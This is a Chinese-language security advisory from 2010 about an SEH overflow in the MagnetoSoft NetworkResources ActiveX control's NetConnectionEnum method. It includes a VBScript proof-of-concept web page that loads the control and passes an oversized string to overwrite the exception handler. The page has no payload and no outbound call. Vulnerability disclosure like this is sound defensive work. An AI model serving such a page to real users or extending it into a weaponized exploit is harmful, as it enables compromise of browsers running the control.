安全研究

安全漏洞
MagnetoSoft NetworkResources ActiveX NetConnectionEnum SEH溢出漏洞

发布日期:2010-04-13
更新日期:2010-04-13

受影响系统:
MagnetoSoft NetworkResources
描述:
MagnetoSoft是软件开发及网络信息等产品厂商。

MagnetoSoft NetworkResources ActiveX控件在实现上存在安全漏洞,可导致NetConnectionEnum SEH溢出。

<*来源:s4squatch
  
  链接:http://www.magnetosoft.com/products/sknetresource/sknetresource_features.htm
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<html>
<object classid='clsid:61251370-92BF-4A0E-8236-5904AC6FC9F2' id='target' /></object>
<script language='vbscript'>
'Magneto Software Net Resource ActiveX NetConnectionEnum SEH Overwrite POC
'Discovered by:  s4squatch
'Site:  www.securestate.com
'Date Discovered: 02/11/10
'www:  http://www.magnetosoft.com/products/sknetresource/sknetresource_features.htm
'Download:  http://www.magnetosoft.com/downloads/SystemInfoPackSetup.exe
'Vendor Notified: 02/02/10 --> NO RESPONSE
'Vendor Notified: 02/11/10 --> NO RESPONSE
'Vendor Notified: 02/17/10 --> NO RESPONSE
'SKNetResource.ocx
'Function NetConnectionEnum ( ByVal strServerName As String ,  ByVal strQualifier As String ,  ByRef pvarNetConnectionInfo As Variant ) As Long
'progid = "SKNETRESOURCELib.SKNetResource"

'SEH overwrite
buff = String(12334, "A")

arg1 = buff
arg2 = "defaultV"
arg3 = "defaultV"
target.NetConnectionEnum arg1 ,arg2 ,arg3

</script>

建议:
厂商补丁:

MagnetoSoft
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.magnetosoft.com/products/sknetresource/sknetresource_features.htm

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